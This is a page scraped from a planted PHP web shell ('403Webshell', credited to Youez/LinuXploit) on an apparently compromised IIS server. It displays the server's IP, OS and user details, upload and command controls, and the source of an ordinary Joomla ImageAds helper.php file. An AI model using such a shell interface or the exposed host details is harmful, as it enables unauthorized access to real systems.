403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Old Sites/moke/components/com_imageads/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Old Sites/moke/components/com_imageads/classes/helper.php
<?php
/**
 * @version $Id: helper.php
 * @package ImageAds
 * @author Andrey Sokolnikov <aasfalcon@gmail.com>
 * @copyright (C) 2011 Emergination, LLC. All rights reserved.
 * @license http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

// JDate class
jimport('joomla.utilities.date');

/**
 * Frontend helper class
 *
 * @package ImageAds
 */
class imageadsHelper {
    static function checkRegistered()
    {
        $user = &JFactory::getUser();
        $is_registered = (bool)$user->id;
        
        if (!$is_registered) {
            $component = IA_JOOMLA_16 ? 'com_users' : 'com_user';
            $return = '&return=' . base64_encode(JRequest::getURI());
    		$link_login = self::getFullUrl(
                    "index.php?option=$component&view=login", $return);
    		$link_register = self::getFullUrl(
                    "index.php?option=$component&view=register", $return);
?>
    <p><?php echo JText::_('COM_IMAGEADS_UNREGISTERED'); ?></p>
    <p>
        <?php echo JText::_('COM_IMAGEADS_PLEASE'); ?>
        <a href="<?php echo $link_login; ?>"><?php echo JText::_('COM_IMAGEADS_LINK_LOGIN'); ?></a>
        <?php echo JText::_('COM_IMAGEADS_OR'); ?>
        <a href="<?php echo $link_register; ?>"><?php echo JText::_('COM_IMAGEADS_LINK_REGISTER'); ?></a>
    </p>
<?php
            return false;
        }
        
        return true;
    }
    
    /**
     * Get a "border" date used in ad expiry checks
     * 
     * @return string Border payment date/time, the older payed ads are expired 
     */
    static function getBorderDate()
    {
        $params = JComponentHelper::getParams('com_imageads');
        $now = new JDate();
        $days = 30 + $params->get('grace_period');
        $date = new JDate(strtotime("-$days day", $now->toUnix()));
        return $date->toMySQL();
    }
    
    /**
     * Get the HTML for a menu
     * 
     * @return string Menu HTML 
     */
    static function getMenuHTML()
    {
        $params = JComponentHelper::getParams('com_imageads');
        $links = array();
        $view = JRequest::getVar('view');
        
        $home_url  = imageadsHelper::getFullUrl('index.php?option='.IA_OPTION.'&view=default');
        $myads_url = imageadsHelper::getFullUrl('index.php?option='.IA_OPTION.'&view=myads');
        $newad_url = imageadsHelper::getFullUrl('index.php?option='.IA_OPTION.'&view=newad');
                    
                    
        $links[] = JHTML::_('link', $home_url, JText::_('COM_IMAGEADS_HOME'), ($view == 'default') ? array("class" => "selected") : '');
        $links[] = JHTML::_('link', $myads_url, JText::_('COM_IMAGEADS_MYADS'), ($view == 'myads' || $view == 'addetails') ? array("class" => "selected") : '');
        $links[] = JHTML::_('link', $newad_url, JText::_('COM_IMAGEADS_NEW'), ($view == 'newad') ? array("class" => "selected") : '');
        return '<div class="ia-menu">'. implode(' | ', $links) .'</div>';
    }
    	    
    /**
     * Tries to determine Itemid for given link, returns routed result
     * 
     * @param string $url The URL to search a menu item
     * @return string
     */
    static function getFullUrl($url, $append = '')
    {
        $menus = &JSite::getMenu();
        $item = $menus->getItems('link', $url, true);
        $activeItem = $menus->getActive();
        
        if ($item){
          $itemID = $item->id;
        } else if ($activeItem){
          $itemID = $activeItem->id;
        } else{
          $itemID = $menus->getDefault()->id;
        }
        
        
        $url .= '&Itemid=' . $itemID;
        
        return JURI::root() . $url . $append;
    }
    
    /**
     * Determines wheither the given user is admin or superuser
     * @param type $user 
     */
    static function isAdmin($user)
    {
        if (IA_JOOMLA_16) {
            return isset($user->groups['Administrator'])
                    || isset($user->groups['Super Users']);
        } else {
            return $user->usertype == "Super Administrator"
                    || $user->usertype == "Administrator";
        }
    }
    
    /**
     * Upload image
     * 
     * @param array $file PHP uploaded file array
     * @param imageadsTableAd $ad Associated ad table object
     * @param bool $replace Replace file if exists
     * @return array Result (bool 'success', string 'message')
     */
    static function uploadImage($file, &$ad, $replace = false)
    {
        jimport('joomla.filesystem.file');
		$success = !$file['error'];
        
        if (!$success) {
            // something is wrong with uploaded file
            $error = JText::_('COM_IMAGEADS_UPLOAD_ERROR_FILE');
        } else {
            // get image type and dimensions
            $info = getimagesize($file['tmp_name']);
            $width = $info[0];
            $height = $info[1];
            $type = $info[2];

            // security: check that image format is the same as the extension
            // says and that it is one of the supported image types
            static $ext_map = array(
                'jpg' => IMAGETYPE_JPEG,
                'jpeg' => IMAGETYPE_JPEG,
                'png' => IMAGETYPE_PNG,
                'gif' => IMAGETYPE_GIF,
            );
            
            $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
            
            if (!isset($ext_map[$extension]) || $type != $ext_map[$extension]) {
                $success = false;
                $error = sprintf(JText::_('COM_IMAGEADS_UPLOAD_ERROR_FORMAT'),
                        $extension);
            } else {
                // check image dimensions
                $params = JComponentHelper::getParams(IA_OPTION);

                if($width != $params->get('image_width')
                        || $height != $params->get('image_height'))
                {
                    $success = false;
                    $error = sprintf(JText::_('COM_IMAGEADS_UPLOAD_ERROR_DIMENSIONS'),
                            $width, $height);
                }
            }
        }
        
        // upload image file and update table
        if ($success) {
            // create filename from display url
            $filename = $ad->id
                    . '.' . strtolower($ad->display_url)
                    . '.' . strtolower($extension);
            $path = IA_IMAGE_PATH . DS . $filename;
            
            if (file_exists($path)) {
                if (!$replace) {
                    // replace disabled, end up with error
                    $success = false;
                    $error = sprintf(JText::_('COM_IMAGEADS_UPLOAD_ERROR_CONFLICT'));
                } else {
                    // delete file to be replaced
                    JFile::delete($path);
                }
            }
            
            if ($success) {
                if (!JFile::upload($file['tmp_name'], $path)) {
                    $success = false;
                    $error = sprintf(JText::_('COM_IMAGEADS_UPLOAD_ERROR_MOVE'));
                }
            }
        }

        // update image ads DB record to store image filename
        if ($success) {
            $ad->image_filename = $filename;
            $success = $ad->check() && $ad->store();
            
            if (!$success) {
                $error = $table->getError();
            }
        }
        
        // prepare result
		if ($success) {
			$message = JText::_('COM_IMAGEADS_UPLOADED_SUCCESSFULLY');
		} else {
            // delete temporary file on error
            if (file_exists($file['tmp_name'])) {
                JFile::delete($file['tmp_name']);
            }
            
            // build error message
            $message = sprintf(JText::_('COM_IMAGEADS_UPLOAD_ERROR'), $error);
		}
        
        return array(
            'message' => $message,
            'success' => $success,
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit